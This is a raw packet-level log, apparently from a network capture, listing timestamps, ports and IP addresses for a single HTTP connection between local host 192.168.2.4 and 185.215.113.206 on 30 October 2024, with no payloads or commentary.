Oct 30, 2024 02:27:33.255503893 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:33.255578041 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:33.255590916 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:33.255600929 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:33.255610943 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:33.255628109 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:33.255641937 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:33.255989075 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:33.256036043 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:33.256066084 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:33.256078005 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:33.256112099 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:33.256118059 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:33.256129026 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:33.256139994 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:33.256165028 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:33.256176949 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:33.256267071 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:33.256278038 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:33.256318092 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:33.256328106 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:33.256367922 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:33.371342897 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:33.371386051 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:33.371396065 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:33.371424913 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:33.371440887 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:33.371448994 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:33.371484041 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:33.371519089 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:33.371530056 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:33.371566057 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:33.371639967 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:33.371650934 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:33.371659994 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:33.371670961 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:33.371685982 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:33.371705055 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:33.371774912 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:33.371818066 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:33.372230053 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:33.372251987 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:33.372262955 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:33.372277021 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:33.372299910 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:33.372427940 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:33.372438908 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:33.372448921 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:33.372457027 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:33.372467995 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:33.372483015 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:33.372500896 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:33.372668982 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:33.372679949 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:33.372689962 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:33.372714996 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:33.372730970 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:33.372730970 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:33.372771978 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:33.372805119 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:33.372816086 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:33.372849941 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:33.372961044 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:33.372972012 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:33.372982025 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:33.372992039 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:33.373008013 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:33.373023987 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:33.373111963 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:33.373125076 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:33.373155117 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:33.373248100 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:33.373294115 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:33.373343945 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:33.373354912 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:33.373393059 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:33.373424053 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:33.373434067 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:33.373469114 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:33.418881893 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:33.418893099 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:33.418956041 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:33.489425898 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:33.489439964 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:33.489453077 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:33.489476919 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:33.489489079 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:33.489489079 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:33.489499092 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:33.489500999 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:33.489514112 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:33.489535093 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:33.489538908 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:33.489551067 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:33.489552021 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:33.489573002 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:33.489587069 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:33.489649057 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:33.489666939 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:33.489677906 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:33.489689112 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:33.489701986 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:33.489713907 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:33.489743948 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:33.489768028 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:33.489778996 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:33.489809036 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:33.489821911 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:33.490104914 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:33.490117073 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:33.490133047 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:33.490187883 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:33.490221977 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:33.490236998 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:33.490248919 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:33.490256071 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:33.490261078 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:33.490282059 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:33.490292072 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:33.490331888 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:33.490380049 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:33.490447044 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:33.490484953 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:33.490547895 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:33.490559101 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:33.490580082 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:33.490598917 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:33.490664005 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:33.490674973 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:33.490684986 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:33.490696907 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:33.490704060 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:33.490727901 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:33.490753889 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:33.490865946 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:33.490878105 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:33.490889072 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:33.490902901 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:33.490916014 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:33.491173983 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:33.491229057 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:33.491230011 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:33.491241932 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:33.491266012 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:33.491280079 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:33.491324902 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:33.491336107 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:33.491364956 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:33.579094887 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:33.579107046 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:33.579185009 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:33.606755972 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:33.606770039 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:33.606780052 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:33.606812000 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:33.606823921 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:33.607244015 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:33.607254982 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:33.607264996 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:33.607276917 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:33.607287884 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:33.607299089 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:33.607330084 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:33.607430935 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:33.607443094 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:33.607454062 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:33.607470036 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:33.607484102 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:33.607600927 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:33.607613087 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:33.607623100 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:33.607634068 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:33.607642889 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:33.607651949 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:33.607662916 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:33.607685089 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:33.607774973 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:33.607809067 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:33.607970953 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:33.607986927 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:33.607999086 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:33.608006954 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:33.608014107 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:33.608019114 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:33.608028889 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:33.608037949 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:33.608041048 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:33.608051062 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:33.608053923 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:33.608067989 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:33.608077049 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:33.608081102 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:33.608093023 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:33.608097076 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:33.608105898 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:33.608117104 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:33.608119011 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:33.608150005 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:33.608158112 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:33.608444929 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:33.608484030 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:33.608654976 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:33.608665943 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:33.608692884 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:33.608851910 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:33.608863115 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:33.608874083 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:33.608894110 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:33.608906984 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:33.609023094 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:33.609035969 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:33.609060049 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:33.609074116 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:33.609200001 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:33.609230995 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:33.655251026 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:33.655262947 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:33.655299902 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:33.655320883 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:33.729552984 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:33.729650974 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:33.729712009 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:33.729723930 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:33.729731083 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:33.729814053 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:33.735168934 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:33.735181093 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:33.735191107 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:33.735203028 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:33.735223055 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:33.735239983 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:33.740442038 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:33.740478992 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:33.740490913 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:33.740504026 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:33.740516901 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:33.740519047 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:33.740561008 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:33.745662928 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:33.745676041 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:33.745697021 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:33.745717049 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:33.745718002 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:33.745738983 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:33.745765924 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:33.750936031 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:33.750948906 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:33.750967026 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:33.750979900 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:33.750988960 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:33.750989914 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:33.751013994 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:33.751025915 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:33.756191969 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:33.756203890 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:33.756213903 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:33.756237984 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:33.756256104 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:33.756256104 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:33.756269932 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:33.756294012 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:33.756320953 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:33.761456966 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:33.761468887 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:33.761485100 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:33.761496067 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:33.761508942 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:33.761527061 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:33.766717911 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:33.766731024 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:33.766740084 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:33.766768932 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:33.766781092 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:33.766793966 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:33.766805887 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:33.766830921 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:33.766843081 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:33.772022963 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:33.772034883 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:33.772044897 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:33.772072077 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:33.772094011 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:33.818981886 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:33.819036007 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:33.819046974 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:33.819051981 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:33.819063902 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:33.819086075 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:33.842668056 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:33.842708111 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:33.842719078 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:33.842762947 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:33.842802048 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:33.842829943 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:33.842844009 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:33.848054886 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:33.848072052 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:33.848083973 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:33.848095894 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:33.848104954 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:33.848129988 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:33.853311062 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:33.853323936 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:33.853365898 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:33.853370905 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:33.853384018 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:33.853394032 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:33.853409052 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:33.853435993 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:33.858594894 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:33.858608961 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:33.858623981 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:33.858648062 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:33.858659029 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:33.858669996 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:33.858683109 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:33.858709097 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:33.858722925 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:33.864022970 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:33.864042044 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:33.864052057 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:33.864063025 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:33.864073992 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:33.864073992 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:33.864087105 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:33.864089966 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:33.864098072 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:33.864109039 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:33.864120960 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:33.864120960 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:33.864132881 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:33.864135981 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:33.864149094 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:33.864159107 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:33.864162922 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:33.864170074 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:33.864181995 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:33.864188910 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:33.864192009 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:33.864203930 CET	80	49760	185.215.113.206	192.168.2.4
